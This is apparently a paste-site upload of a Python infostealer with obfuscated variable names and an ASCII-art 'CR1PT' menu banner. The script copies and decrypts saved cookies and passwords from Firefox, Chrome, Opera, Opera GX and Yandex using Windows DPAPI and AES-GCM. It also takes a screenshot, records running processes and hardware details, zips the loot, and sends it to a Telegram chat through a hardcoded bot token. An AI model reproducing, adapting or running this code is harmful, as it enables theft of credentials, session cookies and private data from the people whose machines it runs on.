Untitled

 avatar
unknown
plain_text
2 years ago
5.1 kB
8
Indexable
P='mozila'
G='w'
F=open
E=Exception
from PIL import Image
import platform as M
from colorama import Fore as H,Back,Style
import base64,json,pyautogui as Q,base64
from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes
from cryptography.hazmat.backends import default_backend
import win32crypt as K
from Cryptodome.Cipher import AES
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os as B,shutil as N,sqlite3 as O,psutil as R,requests as S,telebot as T,zipfile as U,io,PIL,cpuinfo as V,GPUtil as W
from colorama import init
init()
def f():return f"""{H.GREEN}///////////////////////////////////////////////////////////
/                                                         /
/  oooooooooo                               nnnnnnnnnnn   /
/  oCCCCCCCCo  RRRRRRR     1    PPPPPPPP   nTTTTTTTTTTTn  /
/  oCoooooooo  R      R    1    P       P   nnnnnTnnnnn   /
/  oCo         R      R    1    P       P       nTn       /
/  oCo         RRRRRR      1    PPPPPPPP        nTn       /
/  oCo         R     R     1    P               nTn       /
/  oCoooooooo  R      R    1    P               nTn       /
/  oCCCCCCCCo  R      R    1    P               nTn       /
/  oooooooooo                                   nnn       /
/                                                         /
///////////////////////////////////////////////////////////
////////////////////////////{H.YELLOW}MENU{H.GREEN}///////////////////////////
///////////////////////////////////////////////////////////{H.RESET}"""
g=B.getlogin()
X='5822107054:AAFunzpthf3TzxCzGbBkcWWRyT99d94l6rI'
A=B.path.expanduser('~')
Y=T.TeleBot(X)
try:B.mkdir(f"{A}/.tmp")
except E:pass
try:B.mkdir(f"{A}/.tmp/cookies")
except E:pass
try:B.mkdir(f"{A}/.tmp/AutoFills")
except E:pass
def Z():B=S.get('https://api.myip.com/');A=B.json();return f"{A['cc']}:{A['ip']}"
a=Z()
I=f"{A}/.tmp/{a}.zip"
C=U.ZipFile(I,G)
h=Q.screenshot(f"{A}/.tmp/screen.png")
b=f"{A}/.tmp/screen.png"
class c:
	def init(D):
		with F(f"{A}/.tmp/processes.txt",G,encoding='UTF-8')as B:
			for C in R.process_iter():B.writelines(f"{str(C)}\n")
	def findAndSend(Q,OO0OO000O0O0OO00O,O0O0O000O0OOO000O,O0OO0OO000O0O0OO0):
		R=O0OO0OO000O0O0OO0;J=OO0OO000O0O0OO00O;D=f"{A}/{J}";global I
		try:
			for S in B.listdir(f"{D}"):
				T=f"{R}-{S}";H=f"{D}/{S}";K=f"{A}/.tmp/cookies/{T}.txt";L=f"{A}/.tmp/{T}.sqlite";U=f"{A}/.tmp/AutoFills/"
				try:
					Y=[f"{H}/cookies.sqlite",f"{H}/Network/Cookies",f"{H}/Cookies"]
					for V in Y:
						if B.path.exists(V):
							N.copy2(V,L)
							with F(K,G)as Z:
								a=O.connect(L);W=a.cursor();W.execute(O0O0O000O0OOO000O)
								for(b,c,J,d,e,f,M)in W.fetchall():
									if R!=P:g=str(Q.decrypt(M,D)).replace('b','').replace("'",'');M=g
									Z.write(f"{b}\t{bool(c)}\t{J}\t{bool(d)}\t{e}\t{f}\t{M}\n")
							h=B.path.getsize(K)
							if h<1000:0
							else:C.write(K)
							C.write(U);B.remove(L)
					Q.get_pass(f"{H}/Login Data",U,D)
				except E as X:print(X);pass
		except E as X:pass
	def get_spec(K):
		D=M.uname();I=W.getGPUs();J=V.get_cpu_info();E=f"{A}/.tmp/computer_info.txt"
		with F(E,G)as B:
			B.write(f"System: {D.system}\n");B.write(f"Node Name: {D.node}\n")
			for H in I:B.write(f"GPU: {H.id} {H.name}")
			B.write(f"Release: {D.release}\n");B.write(f"Version: {D.version}\n");B.write(f"Machine: {D.machine}\n");B.write(f"Processor: {J['brand_raw']}\n")
		C.write(E);C.write(b)
	def decrypt(J,O00OO0OOOOO0O00OO,O0O0O000O0O000O0O):
		C=O00OO0OOOOO0O00OO;A=None;B=A
		with F(f"{O0O0O000O0O000O0O}/Local State",'r')as H:B=json.loads(H.read())['os_crypt']['encrypted_key']
		B=base64.b64decode(B);B=B[5:];D=K.CryptUnprotectData(B,A,A,A,0)[1]
		try:I=AES.new(D,AES.MODE_GCM,nonce=C[3:3+12]);G=I.decrypt_and_verify(C[3+12:-16],C[-16:]);return G
		except E as L:G=K.CryptUnprotectData(C,A,A,A,0)[1].decode('utf-8')or C or 0;return D
	def get_pass(K,O00000O00000OOOO0,O00O00OOO00O0OOO0,O0OOO0OOOO00000OO):
		D=f"{O00O00OOO00O0OOO0}/AutoFills/passwords"
		if not B.path.exists(f"{D}"):return
		N.copy2(O00000O00000OOOO0,f"{D}");H=O.connect(f"{D}");I=H.cursor();I.execute('SELECT origin_url, username_value, password_value FROM logins');J=I.fetchall()
		with F(f"{D}.txt",G)as A:
			for E in J:A.write(f"----------\n");A.write(f"url : {E[0]}\n");A.write(f"login : {E[1]}\n");A.write(f"pass : {E[2]}\n");A.write(f"----------\n")
			C.write(A)
		H.close()
D=c()
J='SELECT host_key, samesite, path, is_Secure, expires_utc, name, encrypted_value FROM cookies'
d='SELECT host, sameSite, path, isSecure, expiry, name, value FROM moz_cookies'
D.findAndSend('AppData\\Roaming\\Mozilla\\Firefox\\Profiles',d,P)
D.findAndSend('AppData/Local/Google/Chrome/User Data',J,'chrome')
D.findAndSend('AppData\\Roaming\\Opera Software\\Opera Stable',J,'Opera')
D.findAndSend('AppData\\Roaming\\Opera Software\\Opera GX Stable',J,'Opera-Gx')
D.findAndSend(f"AppData\\Local\\Yandex\\YandexBrowser\\User Data",J,'yandex')
D.get_spec()
C.close()
with F(I,'rb')as e:L=io.BytesIO(e.read());L.name=B.path.basename(I);Y.send_document(-998721179,L)